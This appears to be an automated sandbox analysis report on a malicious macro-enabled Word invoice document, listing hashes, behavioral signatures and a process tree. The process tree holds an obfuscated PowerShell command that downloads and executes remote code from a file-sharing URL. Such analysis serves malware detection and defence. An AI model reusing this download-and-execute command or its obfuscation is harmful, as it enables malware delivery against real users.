Analysis
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max time kernel
101s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
30-09-2022 17:53
Behavioral task
behavioral1
Sample
INVOICE PACKAGE LINK TO DOWNLOAD.docm
Resource
win10v2004-20220812-en
General
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Target
INVOICE PACKAGE LINK TO DOWNLOAD.docm
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Size
16KB
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MD5
f2d0c66b801244c059f636d08a474079
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SHA1
c62129fff128817b5af62aa0051c082f9992112e
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SHA256
08d4fd5032b8b24072bdff43932630d4200f68404d7e12ffeeda2364c8158873
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SHA512
5283b2c228d6bdfe5d942f0a318ecd7e251e8a78d1451dc825f05e35d5e07a362e04c8777f63761b13bc672e76391cdc11be5e86ae4a260715e3e5a5cd2f305d
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SSDEEP
384:/iMIoinwt9VRFPZ1AZy8WNxt/ZtNN6wyMDv6js2ZzoP6Yv:/7u651AQrxllN6wyMOAOUPPv
Malware Config
Extracted
https://filetransfer.io/data-package/UR2whuBv/download
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2268 2380 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 11 2268 powershell.exe 26 2268 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2380 WINWORD.EXE 2380 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2268 powershell.exe 2268 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2268 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2380 WINWORD.EXE 2380 WINWORD.EXE 2380 WINWORD.EXE 2380 WINWORD.EXE 2380 WINWORD.EXE 2380 WINWORD.EXE 2380 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2380 wrote to memory of 2268 2380 WINWORD.EXE powershell.exe PID 2380 wrote to memory of 2268 2380 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INVOICE PACKAGE LINK TO DOWNLOAD.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2268-142-0x0000000000000000-mapping.dmp
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memory/2268-146-0x00007FFB30A10000-0x00007FFB314D1000-memory.dmpFilesize
10.8MB
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memory/2268-145-0x00007FFB30A10000-0x00007FFB314D1000-memory.dmpFilesize
10.8MB
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memory/2268-144-0x00007FFB30A10000-0x00007FFB314D1000-memory.dmpFilesize
10.8MB
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memory/2268-143-0x0000015E26E50000-0x0000015E26E72000-memory.dmpFilesize
136KB
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memory/2380-139-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB
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memory/2380-141-0x00007FFB19520000-0x00007FFB19530000-memory.dmpFilesize
64KB
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memory/2380-140-0x00007FFB19520000-0x00007FFB19530000-memory.dmpFilesize
64KB
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memory/2380-135-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB
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memory/2380-138-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB
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memory/2380-137-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB
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memory/2380-136-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB
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memory/2380-148-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB
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memory/2380-149-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB
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memory/2380-150-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB
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memory/2380-151-0x00007FFB1B8F0000-0x00007FFB1B900000-memory.dmpFilesize
64KB